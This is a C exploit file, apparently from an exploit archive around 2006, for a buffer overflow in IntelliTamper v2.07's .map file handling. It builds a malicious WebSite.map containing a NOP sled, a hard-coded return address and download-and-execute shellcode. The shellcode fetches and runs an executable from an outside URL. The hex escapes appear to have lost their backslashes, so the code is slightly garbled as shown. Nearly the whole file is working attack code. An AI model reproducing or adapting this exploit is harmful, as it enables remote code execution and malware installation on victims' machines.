///////////////////////////////////////////////////////////////////
//++
// IntelliTamper web analysis ( *.Map File Handling Local Exploit )
//
// Discovery By: Devil00 [ o.y.6@hotmail.com ]
// Coded By: JAAScois [ http://www.jaascois.com ]
//++
///////////////////////////////////////////////////////////////////
// Test on: IntelliTamper v2.07

#include <stdio.h>
#include <string.h>

// shellcode [ download & run executive file ]
unsigned char shellcode[] =
"xEBx5Dx5Fx8BxF7x80x3F"
"x08x75x03x80x37x08x47x80x3Fx01x75xF2x33xC9xB5x05x8BxFEx2BxF9"
"x8BxEFxB5x03x2BxF9x8BxD7xB2x7Cx8BxE2x89x75xFCxB5x40xC1xE1x08"
"x89x4DxF8x8Dx49x3Cx8Bx09x03x4DxF8x8Dx49x7Fx41x8Bx09x03x4DxF8"
"x8BxD9x8Bx49x0Cx03x4DxF8x81x39x4Bx45x52x4Ex74x07x8Dx5Bx14x8B"
"xCBxEBxEBx33xC0x53xEBx02xEBx7Cx8Bx33x03x75xF8x80x7Ex03x80x74"
"x14x8Bx3Ex03x7DxF8x47x47x56x8Bx75xFCx33xC9xB1x0DxF3xA6x5Ex74"
"x06x40x8Dx76x04xEBxE0x5Bx8Bx5Bx10x03x5DxF8xC1xE0x02x03xD8x8B"
"x03x89x45xF4x8Bx5DxFCx8Dx5Bx0Dx53xFFxD0x89x45xF0x8Dx5Bx09x53"
"x8Bx45xF4xFFxD0x89x45xECx8Bx45xF0x8Bx40x3Cx03x45xF0x8Bx40x78"
"x03x45xF0x89x45xE8x8Bx40x20x03x45xF0x8Dx7Bx08x33xD2x57x8Bx30"
"x03x75xF0x33xC9xB1x0FxF3xA6x74x0Bx5FxEBx02xEBx7Ax42x8Dx40x04"
"xEBxE7x8Bx5DxE8x33xC9x53x5Fx8Bx7Fx24x03x7DxF0xD1xE2x03xFAx66"
"x8Bx0Fx8Bx5Bx1Cx03x5DxF0xC1xE1x02x03xD9x8Bx1Bx03x5DxF0x89x5D"
"xE4x8Bx55xFCx8Dx52x2Dx8Dx7DxE0x33xC9xB1x06x51x52x52x8Bx75xF0"
"x56xFCxFFxD3xFDxABx5Ax59x38x2Ax74x03x42xEBxF9x42xE2xE8xB1x04"
"x51x52x52x8Bx75xECx56xFCxFFxD3xFDxABx5Ax59x38x2Ax74x03x42xEB"
"xF9x42xE2xE8xFCx52x33xD2xB6x1FxC1xE2x08x52x33xD2xEBx02xEBx7C"
"x52x8Bx45xD8xFFxD0x5Bx89x45xB8x33xD2x52x52x52x52x53x8Bx45xC8"
"xFFxD0x89x45xB4x8Dx7Bx08x33xD2x52xB6x80xC1xE2x10x52x33xD2x52"
"x52x57x50x8Bx45xC4xFFxD0x89x45xB0x8Dx55xACx52x33xD2xB6x1FxC1"
"xE2x08x52x8Bx4DxB8x51x50x8Bx45xC0xFFxD0x8Bx4DxB0x51x8Bx45xBC"
"xFFxD0x8Bx4DxB4x51x8Bx45xBCxFFxD0x33xD2x52x43x43x53x8Bx45xE0"
"xFFxD0x89x45xA8x8Bx7DxACx57x8Bx55xB8x52x50x8Bx45xDCxFFxD0x8B"
"x55xA8xEBx02xEBx17x52x8Bx45xD4xFFxD0x33xD2x52x53x8Bx45xD0xFF"
"xD0x33xD2x52x8Bx45xCCxFFxD0xE8x0DxFExFFxFFx4Cx6Fx61x64x4Cx69"
"x62x72x61x72x79x41x08x4Bx45x52x4Ex45x4Cx33x32x08x57x49x4Ex49"
"x4Ex45x54x08x47x65x74x50x72x6Fx63x41x64x64x72x65x73x73x08x5F"
"x6Cx63x72x65x61x74x08x5Fx6Cx77x72x69x74x65x08x47x6Cx6Fx62x61"
"x6Cx41x6Cx6Cx6Fx63x08x5Fx6Cx63x6Cx6Fx73x65x08x57x69x6Ex45x78"
"x65x63x08x45x78x69x74x50x72x6Fx63x65x73x73x08x49x6Ex74x65x72"
"x6Ex65x74x4Fx70x65x6Ex41x08x49x6Ex74x65x72x6Ex65x74x4Fx70x65"
"x6Ex55x72x6Cx41x08x49x6Ex74x65x72x6Ex65x74x52x65x61x64x46x69"
"x6Cx65x08x49x6Ex74x65x72x6Ex65x74x43x6Cx6Fx73x65x48x61x6Ex64"
"x6Cx65x08x72x08x78x2Ex65x78x65x08"
"http://www.jaascois.com/research/36601021/virus.exe" //<< The File Will 
DOWN & RUN [ not a real virus ]
"x08x01";

// Return Code:
unsigned char return_code[] =
"x83xC5x48"
"x83xC5x64x83xC5x64x83xC5x64x83xC5x64x83xC5x64x83xC5x64x83xC5x64x83xC5x64x83xC5x64x83xC5x64"
"x83xC5x64x83xC5x64x83xC5x64x83xC5x64x83xC5x64x83xC5x64x83xC5x64x83xC5x64x83xC5x64x83xC5x64"
"xFFxE5x33xC0x74xBB";


int main(int argc, char* argv[])
{
FILE *hfile;
unsigned long Retaddr;
unsigned char buf[11160];

printf("IntelliTamper web analysis ( *.Map File Handling Local Exploit 
)nn");
printf(" Discovery By: Devil 00 [ o.y.6@hotmail.com ]n");
printf(" Coded By: JAAScois [ http://www.jaascois.com ]n");

// fill nop's
for(int k=0;k<11160;k++){
buf[k]=0x90;
}
// ..... ..... ...... ..... ... .... ..... ...... ... ........
strcpy((char*)&buf[0],(char*)&shellcode[0]);
buf[strlen((char*)shellcode)]=0x90;

// ...... ... ..... ........ .... ........
Retaddr=0x004055DF;
memcpy(&buf[11156],&Retaddr,4);

// ... ..... ..... ..... ..... ........ ...... ...... ....
memcpy(&buf[11087],&return_code[0],69);

hfile=fopen("WebSite.map","w+b");
if(hfile==NULL){
printf("-Error: fopen n");
return 1;
}

fwrite(buf,11160,1,hfile);
fclose (hfile);

return 0;
}// JAAScois.com 17/05/2006

// www.Syue.com [2006-05-19]